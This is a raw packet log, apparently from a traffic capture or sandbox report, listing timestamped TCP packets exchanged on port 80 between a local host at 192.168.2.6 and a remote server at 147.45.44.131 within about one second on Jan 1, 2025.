Jan 1, 2025 08:53:01.407027006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407042027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407054901 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407069921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407187939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407200098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407212973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407221079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407233953 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407253981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407685041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407701969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407733917 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407748938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407800913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407807112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407819986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407850981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.407957077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407968044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407978058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.407989979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408039093 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.408126116 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408138037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408149004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408196926 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.408252001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408263922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408273935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408283949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.408299923 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.408328056 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410232067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410279989 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410284042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410295963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410335064 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410401106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410413027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410423994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410495043 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410520077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410537004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410547972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410558939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410571098 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410600901 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410695076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410706043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410717010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410742998 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410765886 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410850048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410861015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410871983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410885096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410896063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.410900116 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.410938025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411197901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411210060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411220074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411230087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411241055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411248922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411251068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411262989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411273956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411281109 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411287069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411298990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411331892 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411478043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411489964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411528111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411664963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411675930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411686897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411698103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411709070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411719084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411726952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411731005 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411752939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411765099 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.411838055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.411880970 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412059069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412076950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412087917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412097931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412110090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412121058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412122965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412132025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412142992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412147999 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412154913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412166119 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412167072 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412178040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412184954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412189007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412200928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412213087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412220001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412224054 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412225962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412237883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412247896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412247896 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412261009 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.412266970 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.412286997 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413000107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413011074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413027048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413038015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413048983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413058996 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413059950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413069963 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413072109 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413084984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413095951 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413101912 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413106918 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413119078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413125038 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413131952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413141012 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413144112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413156986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413167953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413168907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413180113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413191080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413197041 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413211107 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413244009 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413695097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413706064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413716078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413727045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413737059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413750887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413757086 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413764000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413769007 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413774967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413784027 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413789034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413800001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413810968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.413827896 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.413863897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493402004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493426085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493436098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493453979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493499994 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493518114 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493521929 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493530989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493573904 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493633032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493643999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493685007 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493710041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493721962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493732929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493762016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493896008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493907928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493918896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493930101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493940115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.493944883 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493973017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.493992090 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.494451046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494504929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494515896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494556904 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.494649887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494668961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494680882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494690895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494695902 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.494724035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.494796038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494813919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494826078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494836092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494837046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.494849920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.494865894 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.494885921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.495002031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.495012045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.495023012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.495044947 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497037888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497061968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497072935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497098923 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497121096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497134924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497215986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497227907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497239113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497262955 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497287035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497322083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497401953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497414112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497426987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497437954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497440100 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497461081 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497596025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497606039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497617006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497622967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497628927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497638941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497647047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497664928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497827053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497837067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497848034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497860909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.497872114 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.497903109 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498085022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498095989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498106003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498116970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498131990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498159885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498162985 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498172045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498183966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498194933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498195887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498207092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498219013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498223066 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498231888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498256922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498269081 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498512983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498733044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498744011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498754025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498764038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498775005 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498785019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498795986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498806953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498817921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498827934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498836994 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498841047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498851061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498862028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498872995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498873949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498883963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498894930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498905897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498912096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.498918056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.498940945 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.499560118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499572039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499582052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499593019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499603987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499604940 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.499614000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499624968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499634981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499638081 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.499646902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499656916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499658108 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.499670029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499681950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.499696016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.499722958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500053883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500068903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500078917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500089884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500102043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500111103 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500113010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500124931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500134945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500144958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500149965 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500160933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500170946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500174999 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500176907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500190020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500194073 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500201941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500212908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500222921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500224113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500235081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500252008 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500267982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500540972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500551939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500561953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500571966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500577927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.500606060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.500619888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.580298901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580321074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580329895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580465078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580476999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580488920 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.580521107 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.580533981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580544949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580555916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580566883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580578089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580591917 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.580612898 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.580630064 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.580745935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.580759048 CET	80	49700	147.45.44.131	192.168.2.6
